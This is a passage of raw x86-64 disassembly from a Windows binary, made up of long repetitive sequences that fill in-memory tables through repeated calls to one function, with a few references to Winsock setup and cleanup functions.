add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d64aa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x14
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x14
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401cd6be
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x15
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x15
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c617a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x16
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x16
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401db1f4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x17
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x17
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c982c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x18
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x18
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d0736
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x19
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x19
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c6500
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c26fa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d3bc8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c9d8a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c608a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d9806
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
shl rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x21
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x21
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x22
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x22
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x23
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x23
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x24
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x24
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x25
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x25
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401dd05a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x26
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x26
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d2b2c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x27
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6020]
imul rax, rax, 0x27
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6018]
movabs rdx, 0x1401d46da
lea rcx, [rbp]
call fcn.1400f2e70
mov qword [0x141ef6038], 0x2c
mov qword [0x141ef6040], 2
sub rsp, 0x18
movabs rax, 0x141ef6030
push rax
movabs r9, 0x1401dd670
mov r8, 8
mov rdx, 8
mov rcx, 2
sub rsp, 0x20
call fcn.1400e5720
add rsp, 0x40
mov qword [0x141ef6030], rax
mov rax, qword [0x141ef6038]
imul rax, rax, 0
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c3e9a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401dce40
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
add rax, rax
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
add rax, rax
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401cfe70
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d49a6
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 2
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 2
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401cb46a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401cd268
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 6
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 6
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d9b8e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 7
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 7
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d2082
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 3
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 3
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d998e
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 9
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 9
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2706
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xa
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xa
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c75ba
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xb
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xb
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401dce34
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xc
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xc
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d3bd4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xd
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xd
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401db478
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xe
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xe
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d3f2a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xf
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0xf
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c9838
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 4
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 4
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d9812
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x11
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x11
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c5f40
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x12
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x12
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401cebda
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x13
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x13
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401cebce
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x14
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x14
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d64aa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x15
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x15
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401cd6be
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x16
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x16
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c617a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x17
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x17
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401db1f4
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x18
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x18
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c982c
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x19
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x19
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d0736
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1a
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c6500
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1b
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c26fa
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1c
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d3bc8
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1d
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c9d8a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1e
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c608a
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x1f
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401d9806
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 5
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
shl rax, 5
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x21
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x21
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x22
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x22
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x23
mov rbp, rax
push rbp
xor rax, rax
pop rbp
add rbp, rax
shl rbp, 3
add rbp, qword [0x141ef6030]
movabs rdx, 0x1401c2952
lea rcx, [rbp]
call fcn.1400f2e70
mov rax, qword [0x141ef6038]
imul rax, rax, 0x23
mov rbp, rax
push rbp
mov rax, 1
pop rbp
add rbp, rax
shl rbp, 3
